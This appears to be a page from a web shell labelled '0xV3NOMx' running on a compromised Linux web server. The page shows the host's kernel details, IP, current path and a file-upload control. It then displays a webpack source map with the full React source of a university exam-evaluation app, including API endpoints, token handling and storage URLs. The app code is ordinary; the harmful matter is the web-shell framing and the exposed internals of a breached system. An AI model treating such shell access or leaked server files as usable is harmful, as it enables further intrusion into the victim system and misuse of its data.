0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 52.14.125.137


Current Path : /var/www/tdvsapp/static/js/
Upload File :
Current File : /var/www/tdvsapp/static/js/18.53fd3589.chunk.js.map

{"version":3,"sources":["api/digiNodeApiSecure.js","views/Evaluation/VerticalEvaluation/VerticalEvaluation.js","api/consts.js","api2/consts.js","api2/tdvs.js"],"names":["_regeneratorRuntime","exports","Op","Object","prototype","hasOwn","hasOwnProperty","defineProperty","obj","key","desc","value","$Symbol","Symbol","iteratorSymbol","iterator","asyncIteratorSymbol","asyncIterator","toStringTagSymbol","toStringTag","define","enumerable","configurable","writable","err","wrap","innerFn","outerFn","self","tryLocsList","protoGenerator","Generator","generator","create","context","Context","makeInvokeMethod","tryCatch","fn","arg","type","call","ContinueSentinel","GeneratorFunction","GeneratorFunctionPrototype","IteratorPrototype","this","getProto","getPrototypeOf","NativeIteratorPrototype","values","Gp","defineIteratorMethods","forEach","method","_invoke","AsyncIterator","PromiseImpl","previousPromise","callInvokeWithMethodAndArg","resolve","reject","invoke","record","result","__await","then","unwrapped","error","state","Error","doneResult","delegate","delegateResult","maybeInvokeDelegate","sent","_sent","dispatchException","abrupt","done","methodName","undefined","return","TypeError","info","resultName","next","nextLoc","pushTryEntry","locs","entry","tryLoc","catchLoc","finallyLoc","afterLoc","tryEntries","push","resetTryEntry","completion","reset","iterable","iteratorMethod","isNaN","length","i","displayName","isGeneratorFunction","genFun","ctor","constructor","name","mark","setPrototypeOf","__proto__","awrap","async","Promise","iter","keys","val","object","reverse","pop","skipTempReset","prev","charAt","slice","stop","rootRecord","rval","exception","handle","loc","caught","hasCatch","hasFinally","finallyEntry","complete","finish","catch","thrown","delegateYield","fpPromise","FingerprintJS","load","_Users_shivu_Documents_work_tdvs_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_asyncToGenerator__WEBPACK_IMPORTED_MODULE_0__","_callee","fp","_context","get","visitorId","http","axios","baseURL","API","headers","X-Auth-Origin","defaults","params","interceptors","request","use","config","token","sessionStorage","getItem","univcode","VerticalEvaluation","props","_props$match$params","match","qpcode","regcode","valno","fteachcode","useContext","AppContext","_useContext2","err_msg","teachcode","_load","_Users_shivu_Documents_work_tdvs_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_slicedToArray__WEBPACK_IMPORTED_MODULE_2__","setLoader","_err_msg","dispatch_err","history","useHistory","ref","useRef","_useState","useState","_useState2","filename","setFileNames","_useState3","_useState4","filepath","setFilepath","_useState5","_useState6","qpSchemepath","setQpSchemePath","_useState7","_useState8","parts","setParts","_useState9","_useState10","setPath","_useState11","_useState12","questions","setQuestions","_useState13","_useState14","marks","setMarks","_useState15","_useState16","Draftopen","setDraftOpen","_useState17","_useState18","rejectOpen","setRejectOpen","_useState19","_useState20","exitOpen","setExitOpen","_useState21","_useState22","arReason","setArReason","_useState23","_useState24","arComment","setArComment","_useState25","_useState26","remarks","setRemarks","_useState27","_useState28","evalData","setevalData","_useState29","_useState30","partsData","setpartsData","_useState31","_useState32","sumData","setsumData","_useState33","_useState34","ack","setAck","_useState35","_useState36","finalOpen","setFinalOpen","_useState37","_useState38","omrmarks","setOmrMarks","_useState39","_useState40","qndata","setQnData","_useState41","_useState42","qnModalOpen","setQnModalOpen","_useState43","_useState44","isViewQn","setIsViewQn","_useState45","_useState46","focusIndex","setFocusIndex","_useState47","_useState48","idx","setIdx","useEffect","console","log","getEvaluationImages","getEvalPartsState","_ref","_Users_shivu_Documents_work_tdvs_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_asyncToGenerator__WEBPACK_IMPORTED_MODULE_1__","res","tdvs","concat","data","error_code","filenames","ffilepath","qpschmepath","payload","header","message","msg","apply","arguments","_ref2","_callee2","tot","_context2","path","fomrmarks","question","map","el","que","fpartcode","fsubqn","current","focus","fmarks","parseFloat","changeMarksHandler","_ref3","_callee3","e","index","regex","arr","_context3","test","target","_Users_shivu_Documents_work_tdvs_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_toConsumableArray__WEBPACK_IMPORTED_MODULE_0__","toUpperCase","_x","_x2","blurHandler","_ref4","_callee4","_context4","fmaxmarks","_x3","_x4","_x5","saveHandler","_ref5","_callee5","param","qnArr","_context5","item","post","NewApi","getEvalMarksStatus","_x6","_ref6","_callee6","_context6","sdata","pdata","sum","finalsubmitEvalaution","_ref7","_callee7","_context7","row","saveEvalReject","_ref8","_callee8","_context8","setRef","ModalContainer","_ref9","open","onCancel","confirmButton","onConfirm","react__WEBPACK_IMPORTED_MODULE_3___default","a","createElement","semantic_ui_react__WEBPACK_IMPORTED_MODULE_11__","size","Header","Content","Actions","semantic_ui_react__WEBPACK_IMPORTED_MODULE_12__","positive","style","background","onClick","className","id","secondary","floated","semantic_ui_react__WEBPACK_IMPORTED_MODULE_13__","scrolling","Description","semantic_ui_react__WEBPACK_IMPORTED_MODULE_14__","semantic_ui_react__WEBPACK_IMPORTED_MODULE_15__","negative","semantic_ui_react__WEBPACK_IMPORTED_MODULE_16__","fitted","checked","label","onChange","textIndent","TextArea","placeholder","textAlign","primary","content","icon","fqnno","fquestion","fonlineqp","height","position","top","overflowY","borderBottom","marginLeft","color","fontSize","justifyContent","cursor","marginTop","src","alt","divid","document","getElementById","scrollIntoView","width","padding","border","window","fyear","fexamtype","fset","ftype","fqppath","href","fschempath","semantic_ui_react__WEBPACK_IMPORTED_MODULE_17__","setItem","colSpan","textDecoration","fpartdesc","disabled","onFocus","maxLength","toString","onBlur","fremarks","changeRemarksHandler","semantic_ui_react__WEBPACK_IMPORTED_MODULE_18__","semantic_ui_react__WEBPACK_IMPORTED_MODULE_19__","fluid","semantic_ui_react__WEBPACK_IMPORTED_MODULE_20__","basic","margin","Body","Row","Cell","fteachname","fqpcode","fsubname","fregcode","ftempmax","compact","celled","structured","HeaderCell","rowSpan","fmandqn","fmaxqn","fqncode","fmarks11","fmarks12","warning","Footer","ftotmarks","fsysmarks","semantic_ui_react__WEBPACK_IMPORTED_MODULE_21__","semantic_ui_react__WEBPACK_IMPORTED_MODULE_22__","borderRadius","rows","marginRight","__webpack_require__","d","__webpack_exports__","ReportAPI","location","protocol","api"],"mappings":"kJACAA,EAAA,kBAAAC,GAAA,IAAAA,EAAA,GAAAC,EAAAC,OAAAC,UAAAC,EAAAH,EAAAI,eAAAC,EAAAJ,OAAAI,gBAAA,SAAAC,EAAAC,EAAAC,GAAAF,EAAAC,GAAAC,EAAAC,OAAAC,EAAA,mBAAAC,cAAA,GAAAC,EAAAF,EAAAG,UAAA,aAAAC,EAAAJ,EAAAK,eAAA,kBAAAC,EAAAN,EAAAO,aAAA,yBAAAC,EAAAZ,EAAAC,EAAAE,GAAA,OAAAR,OAAAI,eAAAC,EAAAC,EAAA,CAAAE,QAAAU,YAAA,EAAAC,cAAA,EAAAC,UAAA,IAAAf,EAAAC,GAAA,IAAAW,EAAA,aAAAI,GAAAJ,EAAA,SAAAZ,EAAAC,EAAAE,GAAA,OAAAH,EAAAC,GAAAE,GAAA,SAAAc,EAAAC,EAAAC,EAAAC,EAAAC,GAAA,IAAAC,EAAAH,KAAAvB,qBAAA2B,EAAAJ,EAAAI,EAAAC,EAAA7B,OAAA8B,OAAAH,EAAA1B,WAAA8B,EAAA,IAAAC,EAAAN,GAAA,WAAAtB,EAAAyB,EAAA,WAAArB,MAAAyB,EAAAV,EAAAE,EAAAM,KAAAF,EAAA,SAAAK,EAAAC,EAAA9B,EAAA+B,GAAA,WAAAC,KAAA,SAAAD,IAAAD,EAAAG,KAAAjC,EAAA+B,IAAA,MAAAf,GAAA,OAAAgB,KAAA,QAAAD,IAAAf,IAAAvB,EAAAwB,OAAA,IAAAiB,EAAA,YAAAX,KAAA,SAAAY,KAAA,SAAAC,KAAA,IAAAC,EAAA,GAAAzB,EAAAyB,EAAA/B,EAAA,kBAAAgC,OAAA,IAAAC,EAAA5C,OAAA6C,eAAAC,EAAAF,OAAAG,EAAA,MAAAD,OAAA/C,GA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,EAAAC,EAAA,sBAAAC,IAAAH,EAAAC,EAAAC,EAAA,sBAAA1I,IAAO,IAAMtM,EAAM,qCAENiV,EACXxD,OAAOyD,SAASC,SAAW,gDAMhB7I,EAAS,4GCPTtM,EACXyR,OAAOyD,SAASC,SAAW,oCCAvBC,EAAMtV,IAAMvH,OAAO,CACvBwH,QAASC,EACTC,QAAS,CACPC,gBAAiB,UAIrBkV,EAAI/U,aAAaC,QAAQC,IACvB,SAASC,GACP,IAAIC,EAIJ,OAHAA,EAAQC,eAAeC,QAAQ,YAEpBH,EAAOP,QAAuB,cAAIQ,GACtCD,GAET,SAAS9F,GACP,OAAOgD,QAAQvD,OAAOO,KAwBX0a","file":"static/js/18.53fd3589.chunk.js","sourcesContent":["import axios from \"axios\";\nimport { API } from \"./consts\";\nimport FingerprintJS from \"@fingerprintjs/fingerprintjs\";\n\nconst fpPromise = FingerprintJS.load();\n\n(async () => {\n  // Get the visitor identifier when you need it.\n  const fp = await fpPromise;\n  const result = await fp.get();\n\n  // This is the visitor identifier:\n  const visitorId = result.visitorId;\n})();\n\nconst getToken = () => {\n  return sessionStorage.getItem(\"token\");\n};\n\nconst getUnivcode = () => {\n  return sessionStorage.getItem(\"univcode\");\n};\n\nconst http = axios.create({\n  baseURL: API,\n  headers: {\n    \"X-Auth-Origin\": \"TDVS\",\n  },\n});\nhttp.defaults.params = {};\nhttp.interceptors.request.use(\n  function(config) {\n    const token = getToken();\n    const univcode = getUnivcode();\n    if (univcode) config.params[\"univcode\"] = univcode;\n    if (token) config.headers[\"Authorization\"] = token;\n    return config;\n  },\n  function(error) {\n    return Promise.reject(error);\n  }\n);\n\nexport default http;\n","import React, { useEffect, useContext, useState, useRef } from \"react\";\nimport { NewApi } from \"../../../api/consts\";\nimport tdvs from \"../../../api2/tdvs\";\nimport axios from \"axios\";\nimport { useHistory } from \"react-router-dom\";\nimport { AppContext } from \"../../../context/appContext\";\nimport digiNodeApi from \"../../../api/digiNodeApiSecure\";\nimport \"./style.css\";\nimport {\n  Modal,\n  Button,\n  Form,\n  Icon,\n  Message,\n  Radio,\n  Table,\n  Card,\n  Container,\n  Checkbox,\n  TextArea,\n  IconGroup,\n} from \"semantic-ui-react\";\n\nexport default function VerticalEvaluation(props) {\n  let { qpcode, regcode, valno } = props.match.params;\n  const fteachcode = sessionStorage.getItem(\"fteachcode\");\n  const { univcode } = useContext(AppContext);\n  const { teachcode, err_msg, load } = useContext(AppContext);\n  const [loader, setLoader] = load;\n  const [error, dispatch_err] = err_msg;\n  const history = useHistory();\n  const ref = useRef([]);\n\n  const [filename, setFileNames] = useState([]);\n  const [filepath, setFilepath] = useState(\"\");\n  const [qpSchemepath, setQpSchemePath] = useState(\"\");\n  const [parts, setParts] = useState([]);\n  const [path, setPath] = useState([]);\n  const [questions, setQuestions] = useState([]);\n  const [marks, setMarks] = useState(0);\n  const [Draftopen, setDraftOpen] = useState(false);\n  const [rejectOpen, setRejectOpen] = useState(false);\n  const [exitOpen, setExitOpen] = useState(false);\n  const [arReason, setArReason] = useState(\"Script Re-scan request\");\n  const [arComment, setArComment] = useState(\"\");\n  const [remarks, setRemarks] = useState(\"\");\n  const [evalData, setevalData] = useState([]);\n  const [partsData, setpartsData] = useState([]);\n  const [sumData, setsumData] = useState([]);\n  const [ack, setAck] = useState(false);\n  const [finalOpen, setFinalOpen] = useState(false);\n  const [omrmarks, setOmrMarks] = useState(\"\");\n  const [qndata, setQnData] = useState({});\n  const [qnModalOpen, setQnModalOpen] = useState(false);\n  const [isViewQn, setIsViewQn] = useState(false);\n  const [focusIndex, setFocusIndex] = useState(null);\n  const [idx, setIdx] = useState(null);\n\n  useEffect(() => {\n    console.log(sessionStorage.getItem(\"isViewQn\"));\n    if (sessionStorage.getItem(\"isViewQn\") == null) {\n      setIsViewQn(true);\n    } else if (sessionStorage.getItem(\"isViewQn\") == \"true\") {\n      setIsViewQn(true);\n    } else if (sessionStorage.getItem(\"isViewQn\") == \"false\") {\n      setIsViewQn(false);\n    }\n    getEvaluationImages();\n    getEvalPartsState();\n  }, []);\n\n  const getEvaluationImages = async () => {\n    setLoader(true);\n    const res = await tdvs.get(\n      \"/app.php?a=getevalimage&univcode=\" +\n        univcode +\n        `&fteachcode=${fteachcode}&qpcode=${qpcode}&regcode=${regcode}&valno=${valno}`\n    );\n    setLoader(false);\n    if (res.data.error_code === 0) {\n      setFileNames(res.data.data.filenames);\n      setFilepath(res.data.data.ffilepath);\n      setQpSchemePath(res.data.data.qpschmepath);\n    } else {\n      dispatch_err({\n        type: \"OPEN_MSG_BOX\",\n        payload: {\n          header: \"Message\",\n          message: res.data.data.msg,\n        },\n      });\n\n      history.push(\"/dashboard\");\n      return;\n    }\n\n    // await digiNodeApi\n    //   .get(\n    //     `/eval/get-eval-image?fteachcode=${fteachcode}&qpcode=${qpcode}&regcode=${regcode}&valno=${valno}`\n    //   )\n    //   .then((res) => {\n    //     if (res.data.status === 0) {\n    //       setFileNames(res.data.result.filenames);\n    //       setFilepath(res.data.result.ffilepath);\n    //       setQpSchemePath(res.data.result.qpschmepath);\n    //       setLoader(false);\n    //     } else {\n    //       dispatch_err({\n    //         type: \"OPEN_MSG_BOX\",\n    //         payload: {\n    //           header: \"Message\",\n    //           message: \"Error while reading answer booklet\",\n    //         },\n    //       });\n    //       setLoader(false);\n    //       history.push(\"/dashboard\");\n    //       return;\n    //     }\n    //   })\n    //   .catch((err) => {\n    //     dispatch_err({\n    //       type: \"OPEN_MSG_BOX\",\n    //       payload: {\n    //         header: \"Error\",\n    //         message: \"Error => \" + err,\n    //       },\n    //     });\n    //     setLoader(false);\n    //   });\n  };\n\n  const getEvalPartsState = async () => {\n    setLoader(true);\n    const res = await tdvs.get(\n      \"/app.php?a=getevalpartsstate&univcode=\" +\n        univcode +\n        `&fteachcode=${fteachcode}&qpcode=${qpcode}&regcode=${regcode}&valno=${valno}`\n    );\n    setLoader(false);\n    console.log(res);\n    if (res.data.error_code === 0) {\n      setParts(res.data.data.parts);\n      setPath(res.data.data.path);\n      if (res.data.data.path.length > 0) {\n        setOmrMarks(res.data.data.path[0].fomrmarks);\n      }\n      setQuestions(res.data.data.question);\n      parts.map((el, i) => {\n        res.data.data.question.map((que, i) => {\n          if (que.fpartcode === el.fpartcode && que.fsubqn != \"T\") {\n            ref.current[i].focus();\n          }\n        });\n      });\n      let tot = 0;\n      res.data.data.question.map((el, i) => {\n        let mark =\n          el.fmarks == \"-1\" ||\n          el.fmarks == \"\" ||\n          el.fsubqn == \"T\" ||\n          el.fmarks == \"NA\" ||\n          el.fmarks == \"N\" ||\n          el.fmarks == \"A\" ||\n          el.fmarks == \"-2\"\n            ? 0\n            : el.fmarks;\n        tot += parseFloat(mark);\n      });\n      setMarks(tot);\n    } else {\n      dispatch_err({\n        type: \"OPEN_MSG_BOX\",\n        payload: {\n          header: \"Message\",\n          message: res.data.data.msg,\n        },\n      });\n      setLoader(false);\n    }\n\n    // await digiNodeApi\n    //   .get(\n    //     `/eval/get-eval-parts-state?fteachcode=${fteachcode}&qpcode=${qpcode}&regcode=${regcode}&valno=${valno}`\n    //   )\n    //   .then((res) => {\n    //     if (res.data.status === 0) {\n    //       setParts(res.data.qpdata.parts);\n    //       setPath(res.data.qpdata.path);\n    //       if (res.data.qpdata.path.length > 0) {\n    //         setOmrMarks(res.data.qpdata.path[0].fomrmarks);\n    //       }\n    //       setQuestions(res.data.qpdata.question);\n    //       parts.map((el, i) => {\n    //         res.data.qpdata.question.map((que, i) => {\n    //           if (que.fpartcode === el.fpartcode && que.fsubqn != \"T\") {\n    //             ref.current[i].focus();\n    //           }\n    //         });\n    //       });\n    //       console.log(ref);\n    //       // res.data.qpdata.question.map((el, i)=>{\n    //       //   if (que.fpartcode === el.fpartcode && que.fsubqn != \"T\") {\n    //       // })\n    //       let tot = 0;\n    //       res.data.qpdata.question.map((el, i) => {\n    //         let mark =\n    //           el.fmarks == \"-1\" ||\n    //           el.fmarks == \"\" ||\n    //           el.fsubqn == \"T\" ||\n    //           el.fmarks == \"NA\" ||\n    //           el.fmarks == \"N\" ||\n    //           el.fmarks == \"A\" ||\n    //           el.fmarks == \"-2\"\n    //             ? 0\n    //             : el.fmarks;\n    //         tot += parseFloat(mark);\n    //       });\n    //       setMarks(tot);\n    //       setLoader(false);\n    //     } else {\n    //       dispatch_err({\n    //         type: \"OPEN_MSG_BOX\",\n    //         payload: {\n    //           header: \"Message\",\n    //           message: \"Error while fetching qp template \",\n    //         },\n    //       });\n    //       setLoader(false);\n    //       return;\n    //     }\n    //   })\n    //   .catch((err) => {\n    //     dispatch_err({\n    //       type: \"OPEN_MSG_BOX\",\n    //       payload: {\n    //         header: \"Error\",\n    //         message: \"Error while fetching qp template \",\n    //       },\n    //     });\n    //     setLoader(false);\n    //   });\n  };\n\n  const changeMarksHandler = async (e, index) => {\n    const regex = /^[0-9Nn.]*$/;\n    regex.test(e.target.value);\n    if (regex.test(e.target.value)) {\n      let arr = [...questions];\n      if (e.target.value == \"\") {\n        arr[index][\"fmarks\"] = -1;\n      } else {\n        arr[index][\"fmarks\"] = e.target.value.toUpperCase();\n      }\n      setQuestions([...arr]);\n    }\n\n    console.log(questions);\n    let tot = 0;\n    questions.map((el, i) => {\n      let mark =\n        el.fmarks == \"-1\" ||\n        el.fmarks == \"\" ||\n        el.fsubqn == \"T\" ||\n        el.fmarks == \"NA\" ||\n        el.fmarks == \"N\" ||\n        el.fmarks == \"A\" ||\n        el.fmarks == \"-2\"\n          ? 0\n          : el.fmarks;\n      tot += parseFloat(mark);\n    });\n    setMarks(tot);\n  };\n\n  const blurHandler = async (que, index, e) => {\n    let arr = [...questions];\n    if (que.fmarks > que.fmaxmarks) {\n      dispatch_err({\n        type: \"OPEN_MSG_BOX\",\n        payload: {\n          header: \"Message\",\n          message: \"Entered marks is greater than max marks\",\n        },\n      });\n      arr[index][\"fmarks\"] = -1;\n      setQuestions([...arr]);\n      return;\n    }\n\n    let tot = 0;\n    questions.map((el, i) => {\n      let mark =\n        el.fmarks == \"-1\" ||\n        el.fmarks == \"\" ||\n        el.fsubqn == \"T\" ||\n        el.fmarks == \"N\" ||\n        el.fmarks == \"-2\"\n          ? 0\n          : el.fmarks;\n      tot += parseFloat(mark);\n    });\n    setMarks(tot);\n  };\n\n  const saveHandler = async (param) => {\n    console.log(questions, param);\n    let qnArr = [];\n    if (param == \"save\") {\n      await questions.map((item) => {\n        if (item.fmarks == \"-1\" && item.fsubqn !== \"T\") {\n          qnArr.push(item);\n        }\n      });\n      console.log(qnArr);\n      if (qnArr.length > 0) {\n        dispatch_err({\n          type: \"OPEN_MSG_BOX\",\n          payload: {\n            header: \"Message\",\n            message: \"Please enter marks for all the questions\",\n          },\n        });\n        return;\n      }\n    }\n\n    setLoader(true);\n    // await digiNodeApi\n    //   .post(\n    //     `/eval/save-eval-marks?fteachcode=${fteachcode}&qpcode=${qpcode}&dummyno=${regcode}&valno=${valno}`,\n    //     questions\n    //   ) # Node JS\n\n    await axios // PHP\n      .post(\n        NewApi +\n          `a=saveEvaluationMarks&univcode=${sessionStorage.getItem(\n            \"univcode\"\n          )}&fteachcode=${fteachcode}&qpcode=${qpcode}&dummyno=${regcode}&valno=${valno}`,\n        questions\n      )\n      .then((res) => {\n        console.log(res);\n        if (res.data.error_code === 0) {\n          if (param != \"save\") {\n            dispatch_err({\n              type: \"OPEN_MSG_BOX\",\n              payload: {\n                header: \"Success\",\n                message: res.data.data.msg,\n              },\n            });\n            setLoader(false);\n            return;\n          } else {\n            setLoader(false);\n            getEvalMarksStatus();\n          }\n        } else {\n          dispatch_err({\n            type: \"OPEN_MSG_BOX\",\n            payload: {\n              header: \"Message\",\n              message: res.data.data.msg,\n            },\n          });\n          setLoader(false);\n          return;\n        }\n      })\n      .catch((err) => {\n        dispatch_err({\n          type: \"OPEN_MSG_BOX\",\n          payload: {\n            header: \"Error\",\n            message: \"Error while saving marks \",\n          },\n        });\n        setLoader(false);\n        return;\n      });\n  };\n\n  const getEvalMarksStatus = async () => {\n    await axios\n      .get(\n        NewApi +\n          \"a=getEvalMarksStatus&univcode=\" +\n          sessionStorage.getItem(\"univcode\") +\n          \"&qpcode=\" +\n          qpcode +\n          \"&dummyno=\" +\n          regcode +\n          \"&valno=\" +\n          valno\n      )\n      .then((res) => {\n        console.log(res);\n        if (res.data.error_code === 0) {\n          setevalData(res.data.data.sdata);\n          setpartsData(res.data.data.pdata);\n          setsumData(res.data.data.sum);\n          setFinalOpen(true);\n        } else {\n          dispatch_err({\n            type: \"OPEN_MSG_BOX\",\n            payload: {\n              header: \"Message\",\n              message: res.data.data.msg,\n            },\n          });\n          setLoader(false);\n          return;\n        }\n      })\n      .catch((err) => {\n        dispatch_err({\n          type: \"OPEN_MSG_BOX\",\n          payload: {\n            header: \"Error\",\n            message: \"Error while getting marks data \",\n          },\n        });\n        setLoader(false);\n        return;\n      });\n  };\n\n  const finalsubmitEvalaution = async () => {\n    await axios\n      .post(\n        NewApi +\n          \"a=finalEvalMarks&univcode=\" +\n          sessionStorage.getItem(\"univcode\") +\n          \"&qpcode=\" +\n          qpcode +\n          \"&dummyno=\" +\n          regcode +\n          \"&valno=\" +\n          valno +\n          \"&fteachcode=\" +\n          fteachcode +\n          \"&remarks=\" +\n          remarks\n      )\n      .then((res) => {\n        console.log(res);\n        if (res.data.error_code === 0) {\n          history.push(\"/dashboard\");\n        } else {\n          dispatch_err({\n            type: \"OPEN_MSG_BOX\",\n            payload: {\n              header: \"Error\",\n              message: res.data.data.msg,\n            },\n          });\n          setLoader(false);\n          return;\n        }\n      })\n      .catch((err) => {\n        dispatch_err({\n          type: \"OPEN_MSG_BOX\",\n          payload: {\n            header: \"Error\",\n            message: \"Error while saving marks data \",\n          },\n        });\n        setLoader(false);\n        return;\n      });\n  };\n  let row = evalData[0];\n  let sum = sumData;\n\n  const saveEvalReject = async () => {\n    setLoader(true);\n    await axios\n      .post(\n        NewApi +\n          \"a=saveEvalReject&univcode=\" +\n          sessionStorage.getItem(\"univcode\") +\n          \"&rejReason=\" +\n          arReason +\n          \"&rejComment=\" +\n          arComment +\n          \"&qpcode=\" +\n          qpcode +\n          \"&dummyno=\" +\n          regcode +\n          \"&valno=\" +\n          valno\n      )\n      .then((res) => {\n        console.log(res);\n        if (res.data.error_code === 0) {\n          setLoader(false);\n          history.push(\"/dashboard\");\n        } else {\n          dispatch_err({\n            type: \"OPEN_MSG_BOX\",\n            payload: {\n              header: \"Message\",\n              message: res.data.data.msg,\n            },\n          });\n          setLoader(false);\n          return;\n        }\n      })\n      .catch((err) => {\n        dispatch_err({\n          type: \"OPEN_MSG_BOX\",\n          payload: {\n            header: \"Error\",\n            message: \"Error while rejecting scripts\",\n          },\n        });\n        setLoader(false);\n        return;\n      });\n  };\n\n  useEffect(() => {\n    if (focusIndex !== null && ref.current[focusIndex]) {\n      ref.current[focusIndex].focus();\n    }\n  }, [focusIndex]);\n\n  const setRef = (el, index) => {\n    ref.current[index] = el;\n  };\n\n  const changeRemarksHandler = (e, index) => {\n    const regex = /^[a-zA-Z0-9., ]*$/;\n\n    if (regex.test(e.target.value)) {\n      let arr = [...questions];\n      arr[index][\"fremarks\"] = e.target.value;\n      setQuestions([...arr]);\n    }\n  };\n\n  const hanldeOpenQp = () => {\n    if (qpSchemepath.fonlineqp == \"T\") {\n      window.open(\n        \"https://universitysolutions.in/univadmin/app.php?a=getOmrQpReport\" +\n          \"&univcode=\" +\n          sessionStorage.getItem(\"univcode\") +\n          \"&qpcode=\" +\n          qpcode +\n          \"&year=\" +\n          qpSchemepath.fyear +\n          \"&mode=\" +\n          qpSchemepath.fexamtype +\n          \"&teachcode=\" +\n          fteachcode +\n          \"&noqp=\" +\n          qpSchemepath.fset +\n          \"&type=\" +\n          qpSchemepath.ftype\n      );\n    } else {\n      window.open(\n        `https://answer-booklets.s3.ap-south-1.amazonaws.com/${qpSchemepath.fqppath}`\n      );\n    }\n  };\n\n  // const handlePrint = () => {\n  //   var divContents = document.getElementById(\"print-div\").innerHTML;\n  //   var printWindow = window.open(\"\", \"\", \"height=100%,width=100%\");\n  //   printWindow.document.write(\"<html><head><title>Marks Content</title>\");\n  //   printWindow.document.write(\"</head><body >\");\n  //   printWindow.document.write(divContents);\n  //   printWindow.document.write(\"</body></html>\");\n  //   printWindow.document.close();\n  //   printWindow.print();\n  // };\n  const scrollToDiv = (divid) => {\n    console.log(\"A\");\n\n    var elem = document.getElementById(divid);\n    elem.scrollIntoView();\n  };\n\n  const findPosition = (obj) => {\n    var currenttop = 0;\n    if (obj.offsetParent) {\n      do {\n        currenttop += obj.offsetTop;\n      } while ((obj = obj.offsetParent));\n      return [currenttop];\n    }\n  };\n\n  function ModalContainer({\n    open,\n    msg,\n    header,\n    onCancel,\n    confirmButton,\n    onConfirm,\n  }) {\n    return (\n      <Modal\n        size={\"mini\"}\n        open={open}\n        // onClose={() => setOpen(false)}\n      >\n        <Modal.Header>{header}</Modal.Header>\n        <Modal.Content>\n          <p>{msg}</p>\n        </Modal.Content>\n        <Modal.Actions>\n          <Button\n            positive\n            size=\"tiny\"\n            style={{ background: \"red\" }}\n            onClick={onCancel}\n          >\n            Cancel\n          </Button>\n          <Button positive size=\"tiny\" onClick={onConfirm}>\n            {confirmButton}\n          </Button>\n        </Modal.Actions>\n      </Modal>\n    );\n  }\n\n  return (\n    <div>\n      <div className=\"grid-container\" id=\"condiv\">\n        <div className=\"item1\">\n          <ModalContainer\n            open={Draftopen}\n            msg=\"Are you sure you want save as draft ?\"\n            header=\"Confirm\"\n            onCancel={() => setDraftOpen(false)}\n            confirmButton=\"OK\"\n            onConfirm={() => {\n              saveHandler();\n              setDraftOpen(false);\n            }}\n          />\n\n          <Modal open={rejectOpen} size=\"small\">\n            <Modal.Header>\n              Answer Script Rejection\n              <Button\n                onClick={() => setRejectOpen(false)}\n                secondary\n                floated=\"right\"\n              >\n                <Icon name=\"close\" />\n                Close\n              </Button>\n            </Modal.Header>\n            <Modal.Content scrolling>\n              <Modal.Description>\n                <Form>\n                  <Message negative>\n                    <Message.Header>\n                      <Radio\n                        fitted\n                        name=\"rejectAb\"\n                        value=\"Script Re-scan request\"\n                        checked={arReason == \"Script Re-scan request\"}\n                        label=\"Script Re-scan request\"\n                        onChange={(e, data) => setArReason(data.value)}\n                      />\n                    </Message.Header>\n                    <p style={{ textIndent: \"3ch\" }}>\n                      I am unable to mark candidate's answer scripts because of\n                      poor scannig quality\n                    </p>\n                  </Message>\n                  <Message negative>\n                    <Message.Header>\n                      <Radio\n                        fitted\n                        name=\"rejectAb\"\n                        value=\"Malpractice Concern\"\n                        checked={arReason == \"Malpractice Concern\"}\n                        label=\"Malpractice Concern\"\n                        onChange={(e, data) => setArReason(data.value)}\n                      />\n                    </Message.Header>\n                    <p style={{ textIndent: \"3ch\" }}>\n                      I suspected malpractice in connection to this answer\n                      script. I want this to be reviewed\n                    </p>\n                  </Message>\n\n                  <Message negative>\n                    <Message.Header>\n                      <Radio\n                        fitted\n                        name=\"rejectAb\"\n                        value=\"Wrong QP Pattern\"\n                        label=\"Wrong QP Pattern\"\n                        checked={arReason == \"Wrong QP Pattern\"}\n                        onChange={(e, data) => setArReason(data.value)}\n                      />\n                    </Message.Header>\n                    <p style={{ textIndent: \"3ch\" }}>\n                      Displayed marks pattern does not match with the question\n                      paper.\n                    </p>\n                  </Message>\n\n                  <Message negative>\n                    <Message.Header>\n                      <Radio\n                        fitted\n                        name=\"rejectAb\"\n                        value=\"Answer Script Mismatch with QP\"\n                        label=\"Answer Script Mismatch with QP\"\n                        checked={arReason == \"Answer Script Mismatch with QP\"}\n                        onChange={(e, data) => setArReason(data.value)}\n                      />\n                    </Message.Header>\n                    <p style={{ textIndent: \"3ch\" }}>\n                      Displayed answer script does not match the subject.\n                    </p>\n                  </Message>\n                  <Message negative>\n                    <Message.Header>\n                      <Radio\n                        fitted\n                        name=\"rejectAb\"\n                        value=\"Student Identity revealed\"\n                        label=\"Student Identity revealed\"\n                        checked={arReason == \"Student Identity revealed\"}\n                        onChange={(e, data) => setArReason(data.value)}\n                      />\n                    </Message.Header>\n                    <p style={{ textIndent: \"3ch\" }}>\n                      Student Identity is revealed.\n                    </p>\n                  </Message>\n                  <Form.TextArea\n                    label=\"Comment\"\n                    placeholder=\"Comment...\"\n                    value={arComment}\n                    onChange={(e, data) => setArComment(data.value)}\n                  />\n                </Form>\n              </Modal.Description>\n            </Modal.Content>\n            <Modal.Actions style={{ textAlign: \"center\" }}>\n              <Button onClick={() => saveEvalReject()} primary>\n                Submit\n              </Button>\n            </Modal.Actions>\n          </Modal>\n\n          <Modal open={exitOpen} size=\"mini\">\n            <Modal.Header>Confirm</Modal.Header>\n            <Modal.Content>\n              <Modal.Description>\n                <p>Are you sure you want to exit evalution ?</p>\n              </Modal.Description>\n            </Modal.Content>\n            <Modal.Actions>\n              <Button size=\"tiny\" onClick={() => setExitOpen(false)} negative>\n                NO\n              </Button>\n              <Button\n                content=\"Yes\"\n                icon=\"checkmark\"\n                size=\"tiny\"\n                onClick={() => history.push(\"/dashboard\")}\n                positive\n              />\n            </Modal.Actions>\n          </Modal>\n          <Modal open={qnModalOpen} size=\"small\">\n            <Modal.Header>\n              {qndata.fqnno}\n              <Button\n                onClick={() => {\n                  setQnModalOpen(false);\n                  setFocusIndex(idx);\n                  console.log(ref);\n                }}\n                secondary\n                floated=\"right\"\n              >\n                <Icon name=\"close\" />\n                Close\n              </Button>\n            </Modal.Header>\n            <Modal.Content>\n              <h4>{qndata.fquestion}</h4>\n            